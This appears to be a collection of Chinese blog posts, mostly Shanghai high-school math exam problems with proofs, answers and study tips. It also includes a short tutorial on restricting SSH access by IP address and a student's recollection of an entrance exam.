(2017浦东二模)对于定义域为 $R$ 的函数 $g(x)$ , 若函数 $\sin [g(x)]$ 是奇函数, 则称 $g(x)$ 为正弦奇函数. 已知 $f(x)$ 是单调递增的正弦奇函数, 其值域为 $R, f(0)=0$ .
(1) 已知 $g(x)$ 是正弦奇函数, 证明: “ $u_{0}$ 为方程 $\sin [g(x)]=1$ 的解” 的充要条件是 “ $-u_{0}$ 为方程 $\sin [g(x)]=-1$ 的解";
(2)若 $f(a)=\dfrac{\pi}{2}, f(b)=-\dfrac{\pi}{2}$ , 求 $a+b$ 的值;
(3) 证明: $f(x)$ 是奇函数.

对于“真相”中所说“反押题”，则主要体现在12题，12题所设置的情景以及考察方式一定是新的(各种成熟套路失效，或披着伪装的外衣)，但实际上思维难度远不及20题。一般来说，只要肯动手算，仅得到正确答案是不难的。

(高三下三月月考12)已知各项均为正整数的数列$a_1,a_2,\cdots,a_{10}$满足对任意正整数$2\leq{n}\leq{9}$，均存在正整数$i\leq{n-1}$，使得$a_{n+1}=2a_n-a_i$.若$a_{2k}=2^k$（对所有$1\leq{k}\leq{5},k$为正整数），则符合条件的数列个数为________.
(答案：5)

最后几天，应当在保持手感的前提下，回归教材，对于定义、定理进行独立的思考研究。

证明：由$f(x)$关于$(a,b)$对称：$f(x)+f(2a-x)=2b$，同理$f(x)+f(2c-x)=2d$，两式相减得

$$f(2a-x)-f(2c-x)=2b-2d$$

$$\Rightarrow{f(2a-2c+x)=f(x)+2b-2d}$$

设$g(x)=f(x)-\dfrac{b-d}{a-c}x-\dfrac{ad-bc}{a-c}$，则可得

$$g(x+2a-2c)=g(x)$$

不妨设$a>c$，则$[2c-a,a]$是$g(x)$的一个周期.

在$[c,a]$上，$f(x)\in[d,b]$且$\dfrac{b-d}{a-c}x+\dfrac{ad-bc}{a-c}\in[d,b]$，故$g(x)\in[d-b,b-d]$.

由对称性，在$[2c-a,c]$上，$g(x)\in[d-b,b-d]$，故取$k=\dfrac{b-d}{a-c},M=b-d+\left|\dfrac{ad-bc}{a-c}\right|$即满足$|f(x)-kx|\leq{M}$恒成立.

注：题目中给出的条件“$f(x)$在$\mathbf{R}$上递增”是为了排除$f(x)=\tan{x}+x$等在一段“周期”内都无界的函数。所以，把单调增的条件改为“$f(x)$在$\mathbf{R}$上连续”也使得命题成立，但证明需要用到数学分析中“连续函数在闭区间上有界”的结论.

(答案在最后)

1.(1)已知数列$\{a_n\}$满足$a_1=\dfrac{2023}{2020}$，且对于任意的正整数$n$，都有$a_n=\dfrac{a_{n+1}-1}{a_n-1}$.若正整数$k$使得$k>\displaystyle\sum_{i=1}^{n}\dfrac{1}{a_i}$对任意的正整数成立，则整数$k$的最小值为__________.
(2)在数列$\{a_n\}$中，$a_1=3,a_{n+1}=1+a_1\cdot{a_2}\cdot{a_3}\cdot{…}\cdot{a_n}$，记$T_n$为数列$\{\dfrac{1}{a_n}\}$的前$n$项和，且$T_n < M$对一切正整数$n$成立，则实数$M$的最小值为__________.

2.(1)已知定义在$\mathbf{R}$上的奇函数$y=f(x)$满足对任意$x_1<x_2$，都成立$\dfrac{f(x_1)+f(x_2)}{x_1+x_2}>a$.有下列两个命题：①当$a>0$时，存在$f(x)$，使得$f(a)=0$；②对任意实数$a$，关于$x$的方程$f(a-x)+ax=a^2$都有唯一解.则正确的是__________.
(2)已知函数$y=f(x)$满足：对任意$x_1,x_2\in{\mathbf{R}},x_1+x_2\not ={0}$，都有$\dfrac{f(x_1)+f(x_2)}{x_1+x_2}>0$，且函数图像是一条连续曲线，若$y=f(x)$在$\mathbf{R}$上是严格增函数，求证：$y=f(x)$是奇函数.

3.设定义在$\mathbf{R}$上的函数$f(x)$，对任意不同的两个实数$x_1、x_2,|f(x_1)-f(x_2)|<|x_1-x_2|$均成立，且存在$x_0$，使$f(x_0)=x_0$.若数列$\{a_n\}$满足$a_1 < x_0$，且$f(a_n)=2a_{n+1}-a_n(n\in{\mathbf{N^{*}}})$.
有下列两个命题：①对于$n\in{\mathbf{N^{*}}},a_n < x_0$恒成立；②：对于$n\in{\mathbf{N^{*}}},a_n<a_{n+1}$恒成立.
则正确的是__________.

压轴题

2018宝山一模21被认为是最难21…

答案

1.(1)674 (2)$\dfrac{2}{3}$

2.(1)② (2)略（2024虹口二模21）

3.(1)①②

上次周练13的12题好像考了关于取整的题目，但题不在手边。这里整理了一些手边的有关取整的题目。
取整的题目其实不难，唯一需要的技巧就是利用$x=[x]+\{x\}$。有时候找规律、分类讨论也能出结果。

1.(1)定义$f(x)$表示不小于$x(x>0)$的最小整数.若$f(3x+f(x))=f(6.5)$，则正实数$x$的取值范围为__________.
(2)在$1,2,\cdots,2021$中，可以表示为$[x[x]] (x>0)$形式的数共有__________个.
(3)设正整数$n\leq2022$，且$\{\frac{n}{2}\}+\{\frac{n}{4}\}+\{\frac{n}{6}\}+\{\frac{n}{12}\}=3$.则这样的$n$共有__________个.
(4)正实数数列$A=\{a_1,a_2,\cdots,a_{100}\}$满足：对$\forall{x}\in{A},x\notin{Z}$但$x+\{x\}^2\in{Z}$（其中$\{x\}=x-[x]$），则$S(A)=a_1+a_2+\cdots+a_{100}$的最小值为__________.
(5)定义函数$f(x)=[x[x]]$，当$x\in[0,n),n\in\mathbf{N^{*}}$时，设函数$f(x)$的值域为$A$，记集合$A$中的元素个数为$a_n$，则$[\dfrac{a_n+90}{n}]$的最小值为__________.
(6)设$[x]$表示不超过$x$的最大整数，且$\{x\}=x-[x]$，则方程$\{x\}+\{\frac{1}{x}\}=1$(  )
A. 方程无实根                B. 方程存在整数解
C. 方程存在无理数根     D. 方程有两个以上有理数根
(7)已知$f(x)=\dfrac{x}{x-1}+\sin{\pi{x}}$，则$y=[f(x)]+[f(2-x)]$的值域为__________.
(8)设$a_n=<\sqrt{n}>$，其中$< x >$表示与$x$最接近的整数，则$\dfrac{1}{a_1}+\dfrac{1}{a_2}+\cdots+\dfrac{1}{a_{2000}}$的值为__________.

2.设$a_1,a_2,a_3,a_4\in\mathbf{R}$且$a_1a_4-a_2a_3=1$，则$f={a_1}^2+{a_2}^2+{a_3}^2+{a_4}^2+a_1a_3+a_2a_4$的最小值为__________.
(提示：有$(a^2_1+a^2_2)(a^2_3+a^2_4)=(a_1a_3+a_2a_4)^2+(a_1a_4-a_2a_3)^2$)

答案

1.避免小错误

1.定义域

对数函数、反函数的定义域容易漏。

2.充要条件

一般放在13题，越是题面简单的越容易想当然，所以当认为推不出，一定要构造例子验证。

设复数$z_1$、$z_2$分别对应于平面向量$\overrightarrow{a_1}$、$\overrightarrow{a_2}$，则“$z_1z_2=0$”是“$\overrightarrow{a_1}\cdot\overrightarrow{a_2}=0$”的(  )
A.充分非必要条件;
B.必要非充分条件;
C.充要条件;
D.既非充分也非必要条件.

答案:A

3.读题

题目读完整即可。

注意题干中信息，比如定义域，“。钝角”，“正实数a的取值范围”等等，大题还要注意几个小问条件不要用串

4.考点意识

7~12题，想想考点，可以提供一些思路，并且避免掉进陷阱。

5.目标量意识

有时候组合问题取了相反情况、函数问题取了补集、数形结合把式子表示成距离的平方，写答案的时候不要忘记倒回去。

可以在题目横线处写上“目标量”避免自己忘记。

2.难题

12题

许多12题就是得花一些时间（要枚举、找规律等等），不涉及技巧性，对于这些题，就是要沉下心去做。

21题

21题，第三问没有思路，可以试试用第二问的结论，有时候有意想不到的效果。

对于浦东二模，出题老师可能会把自己得意的题在二模再放一遍（像23年一模21题，同一个函数又出在了二模12题），所以还是再看看今年的一模21。

(1)$\mathrm{C}^m_n=\mathrm{C}^{m-1}_{n-1}+\mathrm{C}^{m}_{n-1}$

(2)$m\mathrm{C}^m_n=n\mathrm{C}^{m-1}_{n-1}$

(3)$\mathrm{C}^k_n\mathrm{C}^m_k=\mathrm{C}^m_n\mathrm{C}^{k-m}_{n-m}$

(4)$\mathrm{C}^0_n+\mathrm{C}^1_n+\mathrm{C}^2_n+\cdots+\mathrm{C}^n_n=2^n$

(5)$(\mathrm{C}^0_n)^2+(\mathrm{C}^1_n)^2+(\mathrm{C}^2_n)^2+\cdots+(\mathrm{C}^n_n)^2=\mathrm{C}^{n}_{2n}$

(6)$1\mathrm{C}^1_n+2\mathrm{C}^2_n+3\mathrm{C}^3_n+\cdots+n\mathrm{C}^n_n=n\cdot2^{n-1}$

(7)$1^2\mathrm{C}^1_n+2^2\mathrm{C}^2_n+3^2\mathrm{C}^3_n+\cdots+n^2\mathrm{C}^n_n=n(n+1)\cdot2^{n-2}$

(8)(※)$\mathrm{C}^0_n+\frac{1}{2}\mathrm{C}^1_n+\frac{1}{3}\mathrm{C}^2_n+\cdots+\frac{1}{n+1}\mathrm{C}^n_n=\frac{1}{n+1}(2^{n+1}-1)$

(9)(※)$\dfrac{\mathrm{C}^1_n}{1}-\dfrac{\mathrm{C}^2_n}{2}+\dfrac{\mathrm{C}^3_n}{3}-\cdots+(-1)^{n-1}\dfrac{\mathrm{C}^n_n}{n}=1+\dfrac{1}{2}+\dfrac{1}{3}+\cdots+\dfrac{1}{n}$

几道题目

1.(1)等比数列$\{a_n\}$中，$a_1=2,a_8=4$，函数$f(x)=x(x-a_1)(x-a_2)\cdots(x-a_8)$,则$f^{′}(0)=$__________.
(2)函数$f(x)=(x-1)(x-2)(x-3)(x-4)$在$x=3$处的导数为__________.
(3)函数$f(x)=(x-1)(x-2)\cdots(x-n)$，则$\displaystyle\sum_{k=1}^{n}\frac{1}{f^{′}(x)}=$__________.  题源：蓝宝书P143

2.(1)设$I$为$\Delta ABC$的内心，$AB=5,AC=6,BC=7.\overrightarrow{IP}=x\overrightarrow{IA}+y\overrightarrow{IB}+z\overrightarrow{IC},0\leq{x,y,z}\leq{1}$，则动点$P$的轨迹所覆盖的平面区域的面积等于__________.
(2)点$O$是正四面体$A_1A_2A_3A_4$的中心，$|OA_i|=1(i=1,2,3,4).$若$\overrightarrow{OP}=\lambda_1\overrightarrow{OA_1}+\lambda_2\overrightarrow{OA_2}+\lambda_3\overrightarrow{OA_3}+\lambda_4\overrightarrow{OA_4},$其中$0\leq\lambda_i\leq1(i=1,2,3,4),$则动点$P$扫过的区域的体积为__________.  题源：(2)为高三上第一次月考11题

3.构造定义域为$\mathbf{R}$函数$f,g$，使得$f[g(x)]$严格单调递增，$g[f(x)]$严格单调递减. > 详细解答  题源：2011罗马尼亚大师杯、月考改编

将所得 latex 代码复制使用即可。

1.已知点$R$是圆$B$：${{(x+1)}^{2}}+{{y}^{2}}=16$上任意一点，定点$A(1,0)$，线段$AR$的垂直平分线$l$ 和半径$BR$相交于点$T$，当点$R$在圆周上运动时，设点$T$的运动轨迹为$\Gamma $.
（1）证明轨迹$\Gamma $为椭圆，并请写出$\Gamma $的方程；
（2）设$E$、$F$分别为$\Gamma $与$x$轴的左、右交点，过$F$且垂直于$x$轴的直线为$m$，$S$为$\Gamma $上 任意一点，直线$ES$与$m$交于点$U$，求证直线$OU$与$FS$的斜率之积为定值；
（3）直线$l_1$过点$M(-3,0)$，与轨迹$\Gamma $交于$P$、$Q$两点，与$y$轴交于点$N$，平行于直线$l_1$的 直线$l_2$过点$A(1,0)$，且与$\Gamma $交于$C$、$D$两点，$O$为坐标原点，记$S_1=S_{\vartriangle POQ}$，$S_2=S_\vartriangle MON$， $S_3=S_{\vartriangle COD}$，求$\frac{S_1S_2}{S_3}$的最大值.

待解决问题：

1. 转换所得数学公式默认用\[和\]，而非$。不过这个好解决，直接在 word/vscode 等中分别将其全部替换即可。

2. 转换所得公式中的{{ }}与 hugo 模版引擎冲突。目前没有找到解决办法，依靠手动删除。

答案是$[-4,5]$，以后再来写过程。

两道题，第一眼看到便觉眼熟，第一道改编自2012上海高考理数最后一道压轴题，第二道改编自2023东北三省三校二模倒数第二道压轴题。

老的压轴题浓缩成小题，再加上新的压轴大题，试卷还能不难吗？

以前的数学老师曾在公众号上呼吁： 放过学生：出一份难易适度的数学试卷

待整理：

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• novnc
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• tabby
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其他：

• He3 https://he3.app/zh/
• Booksearcher https://github.com/book-searcher-org/book-searcher

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已知函数$y=f(x)$的定义域为$(0,+\infty)$.
（1）若$f(x)=\ln{x}$
  $\textcircled{1}$求曲线$y=f(x)$在点$(1,0)$处的切线方程；
  $\textcircled{2}$求函数$g(x)=f(x)+x^2-3x$的单调减区间和极小值；
（2）若对任意$a,b\in{(1,+\infty)}(a<b)$，函数$y=f(x)$在区间$(a,b]$上均无最小值，且对于任意$n\in{\mathbf{N}^{*}}$，当$x\in{(n,n+1)}$时，都有$|f(n)-f(x)|+|f(x)-f(n+1)|=|f(n)-f(n+1)|$.
求证：当$x\in{(1,+\infty)}时$，$f(x)<f(2x)$.  题源：2023长宁一模

12.在等差数列$\{a_n\}$中,若$a_{10}=0$，则有等式$a_1+a_2+\cdots+a_n=a_1+a_2+\cdots+a_{19−n}(n<19, n\in\mathbf{N}^{*})$成立，类比上述性质，相应地：在等此数列${b_n}$中,若$b_9=1$,则有等式_____________成立.

21.在$xOy$平面上有一点列$P_1(a_1,b_1),P_2(a_2,b_2),\cdots,P_n(a_n,b_n),\cdots$，对每个自然数$n$，点$P_n$位于函数$y=2000\cdot\left(\dfrac{a}{10}\right)^2(0<a<10)$的图像上，且点$P_n$，点$(n,0)$与点$(n+1,0)$构成一个以$P_n$为顶点的等腰三角形.
（1）求点$P_n$的纵坐标$b_n$的表达式；
（2）若对每个自然数$n$，以$b_n,b_{n+1},b_{n+2}$为边长能构成一个三角形，求$a$的取值范围；
（3）设$B_n=b_{1}b_{2}\cdots{b_{n}}(n\in{\mathbf{N}})$，若$a$取（2）中确定的范围内的最小整数，求数列${B_n}$的最大项的项数.

22.已知复数$z_0=1-m\mathrm{i}(m>0),z=x+y\mathrm{i}$和$\omega=x^{′}+y^{′}\mathrm{i}$，其中$x,y,x^{′},y^{′}$均为实数，$\mathrm{i}$为虚数单位，且对于任意复数$z$，有$\omega=\overline{z_0}\cdot\overline{z},|\omega|=2|z|$.
（1）试求$m$的值，并分别写出$x^{′}$和$y^{′}$用$x、y$表示的关系式；
（2）将$(x,y)$作为点$P$的坐标，$(x^{′},y^{′})$作为点$Q$的坐标，上述关系可以看作是坐标平面上点的一个变换：它将平面上的点$P$变到这一平面上的点$Q$，当点$P$在直线$y=x+1$上移动时，试求点$P$经该变换后得到的点$Q$的轨迹方程；
（3）是否存在这样的直线：它上面的任一点经上述变换后得到的点仍在该直线上？若存在，试求出所有这些直线；若不存在，则说明理由.

2001年

20.对任意一个非零复数$z$，定义集合$M_z=\{\omega|\omega=z^{2n-1},n\in{\mathbf{N}}\}$
（1）设$a$是方程$x+\dfrac{1}{x}=\sqrt{2}$的一个根,试用列举法表示集合$M_{a}$.若在$M_{a}$中任取两个数,求其和为零的概率$P$；
（2）设复数$\omega\in{M_z}$，求证：$M\subseteq{M_z}$.

12.在平面直角坐标系中，将存在点集$\Omega=\{(x,y)|x\leqslant0且y\leqslant0\}$的区域设为$\Omega$. 设$n$为正整数，$P_1、P_2、\cdots、P_n$为圆$C:(x-1)^2+(y-1)^2=r^2(r\geqslant2)$的$n$等分点.若对任意的$r\geqslant2$，均至少存在一段$\overgroup{P_{i}P_{j}}$在$\Omega$内，则$n$的最小值为_______.

20.已知椭圆$\Gamma:\dfrac{x^2}{2}+y^2=1$的右焦点为$F(x_F,y_F), P(x_P,y_P)$为$\Gamma$上一点，过$P$的直线交动直线$y=m (m>0)$于$M(x_M,m).$
（1）当$m=4$且$y_P=1$时。$l$经过$F$，求$M$的坐标；
（2）已知$x_F=x_P$，设直线$y=m$交$y$轴于$Q$，若$l$的倾斜角为$\dfrac{\pi}{3}$且$\triangle{PMQ}$为等腰三角形，求$m$的值；
（3）已知$m=6$，若对任意的$P, F$到$l$的距离始终为$\sqrt{2}$，求$x_M$的最大值.

21.设全集为$\mathbf{U}$，函数$y=f_n(x)$是关于$x$的函数“函数组”，其定义域为$\mathbf{D}$，当$n$取$\mathbf{U}$中不同的数值时可以得到不同的函数，例如：定义域为$\mathbf{R}$的函数$f_n(x)=nx$，当$\mathbf{U}=\mathbf{R}$时，则有$f_1(x)=x, f_2(x)=2x\cdots$.若存在非空集合$\mathbf{A}\subseteq\mathbf{U}$满足：当且仅当$n\in{\mathbf{A}}$时，函数$f_n(x)$在$\mathbf{D}$上存在零点，则称$f_n(x)$是$\mathbf{A}$上的“跳跃函数”.
（1）判断下列函数是否为$\mathbf{A}$上的“跳跃函数”？（直接写出答案）
  $\textcircled{1}g_n(x)=nx^2+4x+n, \mathbf{D}=\mathbf{R}, \mathbf{U}=\mathbf{N}, \mathbf{A}=\{0,1,2\}$;
  $\textcircled{2}h_n(x)=2^x+n^2, \mathbf{D}=(-\infty,2], \mathbf{U}=\mathbf{Z}, \mathbf{A}=\{1,2\}$;
（2）设$f_n(x)=4nx^3-(6n+1)x^2+2x, \mathbf{D}=(1,+\infty)$，若不存在$\mathbf{A}$使其为$\mathbf{A}$上的“跳跃函数”，求出所有$\mathbf{U}$的并集；
（3）设$\mathbf{U}$为正整数集，已知$f_n(x)$是$\mathbf{A}$上的“跳跃函数”，$\mathbf{D}=(1,+\infty), f_1(x)=2-\dfrac{1}{x}$，若对任意的$n$，$f_{n+1}(x)=f_n(x)+(1-x)^n+1$均成立，证明：$A=\{n|n=2k且k为正整数\}$.并确定$a$的最大值，使对任意的$n\in{\mathbf{A}}, f_n(x)$的零点$t_n>a$成立.

已知函数$f(x)=2^x (x\in \mathbb{R})$，记$g(x)=f(x)+f(-x).$
（1）解不等式：$f(2x)-f(x)\leqslant 6$；
（2）设$k$为实数，若存在实数$x_0\in (1,2]$，使得$g(2x_0)=k\cdot g^2(x_0)-1$成立，求$k$的取值范围；
（3）记$h(x)=f(2x+2)+a\cdot f(x)+b$（其中$a$、$b$均为实数），若对于任意的$x\in [0,1]$，均有$|h(x)|\leqslant\dfrac{1}{2}$，求$a$、$b$的值.  题源：2019普陀一模

test

1.已知函数$f(x)=2^x (x\in \mathbb{R})$，记$g(x)=f(x)+f(-x).$
（1）解不等式：$f(2x)-f(x)\leqslant 6$；
（2）设$k$为实数，若存在实数$x_0\in (1,2]$，使得$g(2x_0)=k\cdot g^2(x_0)-1$成立，求$k$的取值范围；
（3）记$h(x)=f(2x+2)+a\cdot f(x)+b$（其中$a$、$b$均为实数），若对于任意的$x\in [0,1]$，均有$|h(x)|\leqslant\dfrac{1}{2}$，求$a$、$b$的值. > 详细解答  题源：2019普陀一模

2.已知函数$y=f_1(x), y=f_2(x)$，定义函数$f(x)=\begin{cases}f_1(x),f_1(x)\leqslant f_2(x)\\f_2(x),f_1(x)>f_2(x)\end{cases}$.
（1）设函数$f_1(x)=\sqrt{x},f_2(x)=\left(\dfrac{1}{2}\right)^{x-1}(x\geqslant 0),$求函数$y=f(x)$的值域；
（2）设函数$f_1(x)=\lg(|p-x|+1)$（$0<x\leqslant\dfrac{1}{2},p$为实常数），$f_2(x)=\lg\dfrac{1}{x}\left(0<x\leqslant\dfrac{1}{2}\right)$，当$0<x\leqslant\dfrac{1}{2}$时，恒有$f(x)=f_1(x)$，求实常数$p$的取值范围；
（3）设函数$f_1(x)=2^{|x|},f_2(x)=3\cdot2^{|x-p|},p$为正常数，若关于$x$的方程$f(x)=m$($m$为实常数)恰有三个不同的解，求$p$的取值范围及这三个解的和（用$p$表示）. > 详细解答  题源：2020徐汇一模

3.已知函数$f(x)$的定义域为$D$，值域为$f(D)$，即$f(D)=\{ y|y=f(x),x\in D \}.$若$f(D)\subseteq D$，则称$f(x)$在$D$上封闭.
（1）试分别判断函数$f(x)=2017^x+\log_{2017}x$、函数$g(x)=\dfrac{x^2}{x+1}$在$(0,1)$上是否封闭，并说明理由；
（2）函数$f(x)=\sqrt{x+1}+k$的定义域为$D=[a,b]$，且存在反函数$y=f^{-1}(x).$若函数$f(x)$在$D$上封闭，且函数$f^{-1}(x)$在$f(D)$上也封闭，求$k$的取值范围；
（3）已知函数$f(x)$的定义域是$D$，对任意$x,y\in D,$若$x\neq y$，有$f(x)\neq f(y)$恒成立，则称$f(x)$在$D$上是单射.已知函数$f(x)$在$D$上封闭且单射，并且满足$f_n(D)\subset D,$其中$f_{n+1}(x)=f(f_n(x)),(n\in N^{*}),f_1(x)=f(x).$证明：存在$D$的真子集$D_{n}\subset D_{n-1}\subset \cdot\cdot\cdot \subset D_3\subset D_2\subset D_1\subset D,$使得$f(x)$在所有$D_i(i=1,2,3,\cdot\cdot\cdot,n)$上封闭.  题源：2017浦东一模

4.已知函数$f(x)=x^2-2ax(a>0).$
（1）当$a=2$时，解关于$x$的不等式$-3<f(x)<5$；
（2）函数$y=f(x)$在$[t,t+2]$的最大值为$0$，最小值是$-4$，求实数$a$和$t$的值；
（3）对于给定的正数$a$，有一个最大的正数$M(a)$，使得在整个区间$[0,M(a)]$上，不等式$|f(x)|\leqslant5$恒成立.求出$M(a)$的解析式.

5.已知$f(x)$是定义在$[m,n]$上的函数，记$F(x)=f(x)-(ax+b)$，$|F(x)|$的最大值为$M(a,b)$，若存在$m\leqslant x_1< x_2< x_3\leqslant n$，满足$|F(x_1)|=M(a,b),F(x_2)=-F(x_1),F(x_3)=F(x_1)$，那么称一次函数$y=ax+b$是$f(x)$的“逼近函数”，此时的$M(a,b)$称为$f(x)$在$[m,n]$上的“逼近确界”.
（1）验证$y=4x-1$是$g(x)=2x^2,x\in [0,2]$的“逼近函数”；
（2）已知$f(x)=\sqrt{x},x\in [0,4],F(0)=F(4)=-M(a,b).$若$y=ax+b$是$f(x)$的“逼近函数”，求$a,b$的值；
（3）已知$f(x)=\sqrt{x},x\in [0,4]$的逼近确界为$\dfrac{1}{4}$，求证：对任意常数$a,b,M(a,b)\geqslant\dfrac{1}{4}$.

6.若函数$f(x)$满足：对于任意正数$s,t$，都有$f(s)>0,f(t)>0$，且$f(s)+f(t)< f(s+t)$，则称函数$f(x)$为“$L$函数”.
（1）试判断函数$f_1(x)=x^2$与$f_2(x)=x^\frac{1}{2}$是否是“$L$函数”；
（2）若函数$g(x)=3^x-1+a(3^{-x}-1)$为“$L$函数”，求实数$a$的取值范围；
（3）若函数$f(x)$为“$L$函数”,且$f(1)=1$，求证:对任意$x\in (2^{k-1},2^k)(k\in\mathbb{N}^{*})$，都有$f(x)-f\left(\dfrac{1}{x}\right)>\dfrac{x}{2}-\dfrac{2}{x}$.

7.定义：若函数$f(x)$的定义域为$\mathbb{R}$，且存在实数$a$和非零实数$k$（$a$、$k$都是常数），使得$f(2a-x)=k\cdot f(x)$对$x\in\mathbb{R}$都成立，则称函数$f(x)$是具有“有理数对$(a,k)$”的函数.比如，函数$f(x)$有理想数对$(2,-1)$，即$f(4-x)=-f(x),f(4-x)+f(x)=0$，可知函数图像关于点$(2,0)$成中心对称图形.设集合$M$是具有理想数对$(a,k)$的函数的全体.
（1）已知函数$f(x)=2x-1,x\in\mathbb{R}$，试判断函数$f(x)$是否为集合$M$的元素，并说明理由；
（2）已知函数$g(x)=2^x,x\in\mathbb{R}$，证明：$g(x)\notin M$；
（3）数对$(2,1)$和$(1,-1)$都是函数$h(x)$的理想数对，且当$-1\leqslant x\leqslant1$时，$h(x)=1-x^2$.若正比例函数$y=mx(m>0)$的图像与函数$h(x)$的图像在区间$[0,12]$上有且仅有$5$个交点，求实数$m$的取值范围.

8.若函数$y=f(x)$对定义域内的每一个值$x_1$，在其定义域内都存在唯一的$x_2$，使$f(x_1)f(x_2)=1$成立，则称该函数为“依赖函数”.
（1）判断函数$g(x)=2^x$是否为“依赖函数”，并说明理由；
（2）若函数$f(x)=(x-1)^2$在定义域$[m,n]$$(m>1)$上为“依赖函数”，求实数$m$、$n$乘积$mn$的取值范围；
（3）已知函数$f(x)=(x-a)^2\left(a<\dfrac{4}{3}\right)$在定义域$\left[\dfrac{4}{3},4\right]$上为“依赖函数”.若存在实数$x\in\left[\dfrac{4}{3},4\right]$，使得对任意的$t\in\mathbb{R}$，有不等式$f(x)\geqslant-t^2+(s-t)x+4$都成立，求实数$s$的最大值.

9.记函数$f(x)$的定义域为$D$.如果存在实数$a$、$b$使得$f(a-x)+f(a+x)=b$对任意满足$a-x\in D$且$a+x\in D$的$x$恒成立，则称$f(x)$为$\Psi$函数.
（1）设函数$f(x)=\dfrac{1}{x}-1$，试判断$f(x)$是否为$\Psi$函数，并说明理由；
（2）设函数$g(x)=\dfrac{1}{2^x+t}$，其中常数$t\neq0$，证明：$g(x)$是$\Psi$函数；
（3）若$h(x)$是定义在$\mathbb{R}$上的$\Psi$函数，且函数$h(x)$的图像关于直线$x=m$（$m$为常数）对称，试判断$h(x)$是否为周期函数？并证明你的结论.

10.已知定义在$\mathbb{R}$上的函数$\varphi(x)$的图像是一条连续不断的曲线，且在任意区间上$\varphi(x)$都不是常值函数.设$a=t_0< t_1< \cdot\cdot\cdot< t_{i-1}< t_{i}< \cdot\cdot\cdot< t_n=b$，其中分点$t_1$、$t_2$、$\cdot\cdot\cdot$、$t_{n-1}$将区间$[a,b]$任意划分成$n(n\in\mathbb{N}^{*})$个小区间$[t_{i-1},t_i]$，记$M\{a,b,n\}=|\varphi(t_0)-\varphi(t_1)|+|\varphi(t_1)-\varphi(t_2)|+\cdot\cdot\cdot+|\varphi(t_{n-1})-\varphi(t_n)|$，称为$\varphi(x)$关于区间$[a,b]$的$n$阶划分的“落差总和”;当$M\{a,b,n\}$取得最大值且$n$取得最小值$n_0$时，称$\varphi(x)$存在“最佳划分”$M\{a,b,n\}$.
（1）已知$\varphi(x)=|x|$，求$M\{-1,2,2\}$的最大值$M_0$；
（2）已知$\varphi(a)<\varphi(b)$，求证：$\varphi(x)$在$[a,b]$上存在“最佳划分”$M\{a,b,1\}$的充要条件是$\varphi(x)$在$[a,b]$上单调递增；
（3）若$\varphi(x)$是偶函数且存在“最佳划分”$M\{-a,a,n_0\}$，求证：$n_0$是偶数，且$t_0+t_1+\cdot\cdot\cdot+t_{i-1}+t_i+\cdot\cdot\cdot+t_{n_0}=0$.

1. 配置 SSH 白名单

第一种方法

在 ssh 设置中修改。修改/etc/ssh/sshd_config文件，在末尾加入

allowusers root@192.168.1.1

（其中192.168.1.1换为客户端ip）

也可将放行的 ip 换为任意的 cidr 块，如下

allowusers root@192.168.1.0/24  # 放行 192.168.1.*
allowusers root@172.16.0.0/12   # 放行 172.16.0.1 - 172.31.255.254

最后重启 ssh 服务：systemctl restart sshd.service

更多的 cidr 块转换，可使用 cidr计算器

第二种方法

修改host.allow和host.deny。按照如下方法：

# /etc/hosts.allow
sshd:192.168.1.1

# /etc/hosts.deny
sshd:all

最后重启 ssh 服务：systemctl restart sshd.service

此种方法可能不支持部分 cidr 段，会在 ssh 服务重启后报错，以自身使用情况为准。

host.allow和host.deny不生效

参考

在部分机器上设置此种端口限制后不生效，非白名单内 ip 仍能通过 ssh 连接，解决方法如下：

hosts.allow和hosts.deny属于tcp_Wrappers防火墙的配置文件，而用tcp_Wrappers防火墙控制某一服务访问策略的前提是，该服务支持tcp_Wrappers防火墙，即该服务应用了libwrapped库文件。

查看某服务（如ssh）是否应用了libwrapped库文件的方法是：

ldd /usr/sbin/sshd |grep libwrap.so.0

没有显示，表示此服务器上安装的SSH没有应用libwrapped库文件，也就不能用tcp_Wrappers防火墙控制访问策略。（一般情况下服务器默认安装的SSH都是支持libwrapped库文件，这台服务器不清楚为什么不支持）

最终解决方法是重新安装SSH。

yum -y remove openssh

yum -y install openssh

yum -y install openssh-server

安装完成后再次查看是否应用了libwrapped库文件，显示支持。

ldd /usr/sbin/sshd |grep libwrap.so.0

        libwrap.so.0 => /lib64/libwrap.so.0 (0x00007f3fb7f09000)

再测试SSH登陆，配置生效。

注意事项

务必看清 ssh 放通的用户是否正确，如放通git用户则需写成git@xxx而非root@xxx，若不慎写错，可能得花许多时间找这个问题…

数学二还记得几道题：

1.设 $\displaystyle\def\d{\mathrm{d}}S=\int_{-\infty}^{+\infty }\frac{1}{1+x^2+x^4}\d x$ ，求 [$100S^2$].

2.设 $\displaystyle\def\d{\mathrm{d}}I=\int_{50}^{+\infty}e^{-x^2}\d x$，求 $[-\ln I]$.

3.问$[x]+[2x]+[3x]+[4x]+[5x]$ 在 $x\in [0,50]$有多少不同取值.

4.有 $20$ 盏红灯， $10$ 盏绿灯，每次随机灭掉一盏灯，直到某种颜色的灯全部灭掉，令 $a$ 为剩下的灯的数目的平均值，求 $[10a]$.

这里的第三道还是比较简单的，考试时候还做出第四题组合题。这里的第一道积分题也近乎做出来了，考试最后一分钟算出来 $S=\frac{\sqrt{3}}{3}\pi$，然而没时间代成小数了….

主要是考试前两周都在狂补线性代数，微积分碰都没碰，结果考试的前两题考泰勒展开的我都不会做，这道有理函数积分也搞了好久 （ $x^4+x^2+1=(x^2+x+1)(x^2-x+1)$ 这个因式分解好久没看出来，最后待定系数凑出来的哈哈） 。而复习好久的线代一点没用上，考得内容都是什么相似矩阵、对角化（一周怎么可能学到那里）。

数学一的内容纯高考，不过题量比较大，加上前面的内容生疏，90分钟连蒙带凑地做完这20道不定项选。以后课内的做题速度还要加强，不同地区的题也要多练。

5.1更新

数学二爆零

最没信心的物理排的最高，排位90%，其他寄了

2.已知函数$f(x)=\ln x,g(x)=\dfrac{1}{2}\left(x-\dfrac{1}{x}\right).$
（1）证明：当$x\geqslant1$时，$f(x)\leqslant g(x)$；
（2）设$a,b$为正实数且$a\neq b$.
（i）若$a^b=b^a$，证明：$\sqrt{ab}> e$；
（ii）若$a+b=1$，证明：$a^b+b^a< \sqrt{a}+\sqrt{b}< a^a+b^b$.

3.已知函数$f(x)=x\ln x-ax^2+x(a\in\mathbb{R}).$
（1）证明：曲线$y=f(x)$在点$(1,f(1))$处的切线$l$恒过定点；
